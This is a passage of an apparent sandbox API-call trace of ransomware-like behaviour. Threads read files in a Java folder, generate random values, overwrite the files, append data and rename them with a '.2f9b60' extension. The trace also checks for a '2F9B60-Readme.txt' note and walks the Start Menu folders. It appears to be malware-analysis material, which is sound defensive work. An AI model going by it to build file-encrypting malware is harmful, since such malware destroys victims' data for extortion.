0x42053fd0 [0202.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e20 [0202.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053e20) returned 1 [0202.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0202.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x42c0ea40 [0202.237] sprintf (in: _Dest=0x42c0ea40, _Format="%c%c" | out: _Dest="1b") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea42, _Format="%c%c" | out: _Dest="a0") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea44, _Format="%c%c" | out: _Dest="38") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea46, _Format="%c%c" | out: _Dest="00") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea48, _Format="%c%c" | out: _Dest="9a") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea4a, _Format="%c%c" | out: _Dest="e1") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea4c, _Format="%c%c" | out: _Dest="37") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea4e, _Format="%c%c" | out: _Dest="cc") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea50, _Format="%c%c" | out: _Dest="c0") returned 2 [0202.237] sprintf (in: _Dest=0x42c0ea52, _Format="%c%c" | out: _Dest="8f") returned 2 [0202.237] RtlInitAnsiString (in: DestinationString=0x4583fa08, SourceString="1ba038009ae137ccc08f" | out: DestinationString="1ba038009ae137ccc08f") [0202.237] RtlAnsiStringToUnicodeString (in: DestinationString=0x4583f9d8, SourceString="1ba038009ae137ccc08f", AllocateDestinationString=1 | out: DestinationString="1ba038009ae137ccc08f") returned 0x0 [0202.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d9f0 [0202.238] wcscat (in: _Dest=0x420610b0, _Source="1ba03" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1ba03") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1ba03" [0202.238] wcscat (in: _Dest=0x420610b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1ba03.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1ba03.2f9b60" [0202.238] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1ba03.2f9b60", NtPathName=0x4583f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1ba03.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43198520 [0237.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43198520) returned 1 [0237.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43213440) returned 1 [0237.701] NtQueryInformationFile (in: FileHandle=0x2c60, IoStatusBlock=0x4583fa18, FileInformation=0x4583fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4583fa18, FileInformation=0x4583fa28) returned 0x0 [0237.701] NtSetInformationFile (FileHandle=0x2c60, IoStatusBlock=0x4583fa18, FileInformation=0x4583fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0237.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d9f0) returned 1 [0237.953] FlushFileBuffers (hFile=0x2c60) returned 1 [0238.239] CloseHandle (hObject=0x2c60) returned 1 [0241.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202af100 [0241.678] wcscpy (in: _Dest=0x202af100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.678] wcscat (in: _Dest=0x202af100, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.678] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af100) returned 1 [0243.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f200) returned 1 Thread: id = 2854 os_tid = 0x1ab8 [0160.290] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\windhoek")) returned 0x20 [0165.823] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek", dwFileAttributes=0x20) returned 1 [0167.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\windhoek"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c54 [0168.027] GetFileSizeEx (in: hFile=0x2c54, lpFileSize=0x455df880 | out: lpFileSize=0x455df880*=824) returned 1 [0168.027] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.027] ReadFile (in: hFile=0x2c54, lpBuffer=0x455df800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x455df848, lpOverlapped=0x0 | out: lpBuffer=0x455df800*, lpNumberOfBytesRead=0x455df848*=0x4, lpOverlapped=0x0) returned 1 [0168.046] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180f0 [0168.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c187e0 [0168.047] NtQuerySystemTime (in: CurrentTime=0x455df740 | out: CurrentTime=0x455df740*=132462177731674000) returned 0x0 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x2fa65a61 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x504624ea [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x3d28b32d [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x6f31a6b8 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x3891149e [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x11705ae7 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x38ab2d0 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x620dd95e [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x64af75ae [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x317c917a [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x5e69b2e5 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x3b3838fd [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x4122ef97 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x1e0fbb96 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0xb051258 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x127b0176 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x746343bc [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x5b8722b6 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x7d6c4e26 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x2e5207a0 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x7dc66c91 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x63addd82 [0168.047] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x51053c7b [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x4694a91b [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x74533bf5 [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x9bff563 [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x7b8a5344 [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x78798c08 [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x500b4856 [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x635bd99b [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x2afbb22e [0168.048] RtlRandomEx (in: Seed=0x455df730 | out: Seed=0x455df730) returned 0x37dcb8cb [0168.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18810 [0168.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b030 [0168.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18870 [0168.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b030) returned 1 [0168.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c187e0) returned 1 [0168.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c650 [0168.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b030 [0168.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426c2de0 [0168.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426c69f0 [0168.061] ReadFile (in: hFile=0x2c54, lpBuffer=0x426c2de0, nNumberOfBytesToRead=0x338, lpNumberOfBytesRead=0x455df730, lpOverlapped=0x0 | out: lpBuffer=0x426c2de0*, lpNumberOfBytesRead=0x455df730*=0x338, lpOverlapped=0x0) returned 1 [0168.061] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.062] WriteFile (in: hFile=0x2c54, lpBuffer=0x426c69f0*, nNumberOfBytesToWrite=0x338, lpNumberOfBytesWritten=0x455df734, lpOverlapped=0x0 | out: lpBuffer=0x426c69f0*, lpNumberOfBytesWritten=0x455df734*=0x338, lpOverlapped=0x0) returned 1 [0180.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266360 [0180.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266330 [0180.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266330) returned 1 [0180.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426c69f0) returned 1 [0180.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426c2de0) returned 1 [0180.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b030) returned 1 [0180.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c650) returned 1 [0180.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20266330 [0180.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c650 [0180.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b030 [0180.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202662d0 [0180.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202662d0) returned 1 [0180.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202662d0 [0180.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266240 [0180.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661e0 [0180.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202661e0) returned 1 [0180.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b030) returned 1 [0180.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c650) returned 1 [0180.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x42c069e0 [0185.903] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0185.903] WriteFile (in: hFile=0x2c54, lpBuffer=0x42c069e0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x455df850, lpOverlapped=0x0 | out: lpBuffer=0x42c069e0*, lpNumberOfBytesWritten=0x455df850*=0x102, lpOverlapped=0x0) returned 1 [0206.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd10 [0206.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1af70 [0206.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1af70) returned 1 [0206.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d220 [0206.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1af70 [0206.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1af40 [0206.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1af40) returned 1 [0206.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd10) returned 1 [0206.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42c1af40 [0206.977] sprintf (in: _Dest=0x42c1af40, _Format="%c%c" | out: _Dest="05") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af42, _Format="%c%c" | out: _Dest="c4") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af44, _Format="%c%c" | out: _Dest="94") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af46, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af48, _Format="%c%c" | out: _Dest="48") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af4a, _Format="%c%c" | out: _Dest="18") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af4c, _Format="%c%c" | out: _Dest="10") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af4e, _Format="%c%c" | out: _Dest="a0") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af50, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af52, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af54, _Format="%c%c" | out: _Dest="b6") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af56, _Format="%c%c" | out: _Dest="b9") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af58, _Format="%c%c" | out: _Dest="d1") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af5a, _Format="%c%c" | out: _Dest="61") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af5c, _Format="%c%c" | out: _Dest="7c") returned 2 [0206.977] sprintf (in: _Dest=0x42c1af5e, _Format="%c%c" | out: _Dest="34") returned 2 [0206.977] RtlInitAnsiString (in: DestinationString=0x455df8c8, SourceString="05c494ea481810a09b0ab6b9d1617c34" | out: DestinationString="05c494ea481810a09b0ab6b9d1617c34") [0206.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x455df898, SourceString="05c494ea481810a09b0ab6b9d1617c34", AllocateDestinationString=1 | out: DestinationString="05c494ea481810a09b0ab6b9d1617c34") returned 0x0 [0206.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c620 [0206.978] wcscat (in: _Dest=0x43155e30, _Source="05c494ea" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\05c494ea") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\05c494ea" [0206.978] wcscat (in: _Dest=0x43155e30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\05c494ea.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\05c494ea.2f9b60" [0206.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\05c494ea.2f9b60", NtPathName=0x455df870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\05c494ea.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4314f640 [0237.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314f640) returned 1 [0237.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced42e0) returned 1 [0237.690] NtQueryInformationFile (in: FileHandle=0x2c54, IoStatusBlock=0x455df8d8, FileInformation=0x455df8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x455df8d8, FileInformation=0x455df8e8) returned 0x0 [0237.690] NtSetInformationFile (FileHandle=0x2c54, IoStatusBlock=0x455df8d8, FileInformation=0x455df8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43155e30) returned 1 [0237.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0237.963] FlushFileBuffers (hFile=0x2c54) returned 1 [0238.244] CloseHandle (hObject=0x2c54) returned 1 [0241.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a0cc0 [0241.730] wcscpy (in: _Dest=0x431a0cc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.730] wcscat (in: _Dest=0x431a0cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.730] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0cc0) returned 1 [0243.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f280) returned 1 Thread: id = 2855 os_tid = 0x1abc [0160.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cdb87f0 [0160.386] wcscpy (in: _Dest=0x1cdb87f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.386] wcscat (in: _Dest=0x1cdb87f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.386] wcscat (in: _Dest=0x1cdb87f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0160.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.386] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.387] wcscmp (_String1=".", _String2=".") returned 0 [0160.387] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.387] wcscmp (_String1="..", _String2=".") returned 1 [0160.387] wcscmp (_String1="..", _String2="..") returned 0 [0160.387] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0160.387] wcscmp (_String1="Accessories", _String2=".") returned 1 [0160.387] wcscmp (_String1="Accessories", _String2="..") returned 1 [0160.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20508a90 [0160.387] wcscpy (in: _Dest=0x20508a90, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.387] wcscat (in: _Dest=0x20508a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.387] wcscat (in: _Dest=0x20508a90, _Source="Accessories" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0160.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20508a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8 [0160.388] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0160.388] wcscmp (_String1="Administrative Tools", _String2=".") returned 1 [0160.388] wcscmp (_String1="Administrative Tools", _String2="..") returned 1 [0160.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd651e0 [0160.388] wcscpy (in: _Dest=0x1cd651e0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.388] wcscat (in: _Dest=0x1cd651e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.388] wcscat (in: _Dest=0x1cd651e0, _Source="Administrative Tools" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0160.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd651e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0160.389] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0160.389] wcscmp (_String1="Adobe Reader X.lnk", _String2=".") returned 1 [0160.389] wcscmp (_String1="Adobe Reader X.lnk", _String2="..") returned 1 [0160.389] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, 